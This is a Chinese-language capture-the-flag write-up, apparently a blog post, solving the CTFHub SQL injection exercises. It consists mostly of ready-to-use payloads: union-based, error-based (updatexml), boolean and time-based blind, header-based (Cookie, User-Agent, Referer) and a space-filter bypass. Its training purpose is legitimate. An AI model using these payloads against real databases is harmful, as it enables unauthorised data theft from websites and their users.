CTFHUB-技能树-WEB-SQL注入

1.整数型注入

?id=-1 order by 2 --+ true # 两个字段
?id=-1 order by 3 --+ false

?id=-1 union select 1,2 --+ --+ #说明存在两个显示位置,id=-1是为了将显示位置腾空,方便回显数据显示

id=-1 union select 1,group_concat(schema_name) from information_schema.schemata -- +  # 查询数据库

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' -- + #查询数据表

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' -- + #查询数据字段

id=-1 union select 1,(select flag from sqli.flag)-- + # 查询flag

2.字符型注入

?id=1' and '1'='1 true
?id=1' and '1'='2 flase  # 存在注入

?id=1' order by 2 -- + #存在两个字段
?id=-1' union select database(),user() -- + #当前数据库和用户名

?id=-1' union select 1,group_concat(schema_name) from information_schema.schemata -- + #数据库

?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' -- + #数据表

?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' -- + #查询列名

?id=-1' union select 1,group_concat(flag) from sqli.flag -- + #查询具体值

3.报错注入

?id=1  AND (updatexml(1,concat(0x5e24,(select database()),0x5e24),1)) -- + #查询当前数据库

?id=1  AND (updatexml(1,concat(0x5e24,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x5e24),1)) -- +  #查看表

?id=1  AND (updatexml(1,concat(0x5e24,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x5e24),1)) -- + #查看列

?id=1  AND (updatexml(1,concat(0x5e24,(select group_concat(flag) from sqli.flag),0x5e24),1)) -- + #查看值
ctfhub{0b5ac19a8d3f9241fa18ee7 但是不完整

?id=1  AND (updatexml(1,concat(0x5e24,(select mid(group_concat(flag),20,30) from sqli.flag),0x5e24),1)) -- +  #使用mid函数来调节显示的位置,慢慢读取flag

4.布尔注入

?id=1 and length(database())=4 -- + #判断数据库名长度为4

?id=1 and ascii(substr(database(), 1,1))>70 -- + #判断数据库名第一个字母的ascii码大于70,题目为's' 所以返回success!

?id=1 and substr(database(), 1,1)='s' -- + #直接判断数据库名第一个字母是's',返回success!

?id=1 and substr(database(), 2,1)='q' -- + # 猜测第二个是'q',逐个猜测即可。

?id=1 and substr(database(), 1,4)='sqli' -- + #database结果为sqli

id=1 and substr((select group_concat(table_name) from information_schema.tables where table_schema='sqli' limit 0,1), 1,1)='n' -- + # 数据表名第一个为'n'

id=1 and substr((select group_concat(table_name) from information_schema.tables where table_schema='sqli' limit 0,1), 1,4)='news' -- + 第一个数据表结果为'news'

?id=1 and substr((select table_name from information_schema.tables where table_schema='sqli' limit 1,1) ,1,4)='flag' -- + 第二个为flag

?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))>110 -- + # 查处flag表中列名为flag

id=1 and ascii(substr((select * from sqli.flag where id=1),1,1))>110 #或者用下面的方式

?id=1 and substr((select flag from sqli.flag where id=1) ,1,1)='c' -- + #猜测第一个字母为c,直到猜出最终字符

5.时间盲注

步骤和布尔同理
?id=1 and if(substr(database(), 1,1)='s',sleep(5),1) -- + 猜测数据库名第一个字母
?id=1 and if(substr((select flag from sqli.flag where id=1) ,1,1)='c',sleep(5),1) -- +  #猜测目标字符串第一个字母为c,直到猜出最终字符

5.MYSQL结构

和第一、二种类似
?id=-1 union select database(),group_concat(schema_name) from information_schema.schemata  -- +    列出数据库

?id=-1 union select database(),group_concat(table_name) from information_schema.tables where table_schema='sqli'  -- + 列出数据表

?id=-1 union select database(),group_concat(column_name) from information_schema.columns where table_name='malbfjuabq'  -- + 列出字段

?id=-1 union select database(),group_concat(cvffvpkrwi) from sqli.malbfjuabq  -- + 列出flag

6.Cookie 注入

和前面类似
Cookie: id=1 order by 2 -- +

7.UA注入

和前面类似
User-Agent:1 order by 2 -- + Mozilla/5.0 (Macintosh; Inte...

8.Referer注入

和前面类似
referer:1 union select 1,2 -- x

9.过滤空格

?id=0/**/union/**/select/**/1,database()/**/#  查询数据库
?id=0/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'/**/# 查询数据表

?id=0/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='ssdfpmgfcc'/**/# 查询数据列,结果xrnmfbhzqk

?id=0/**/union/**/select/**/1,group_concat(xrnmfbhzqk)/**/from/**/sqli.ssdfpmgfcc/**/# 查询flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值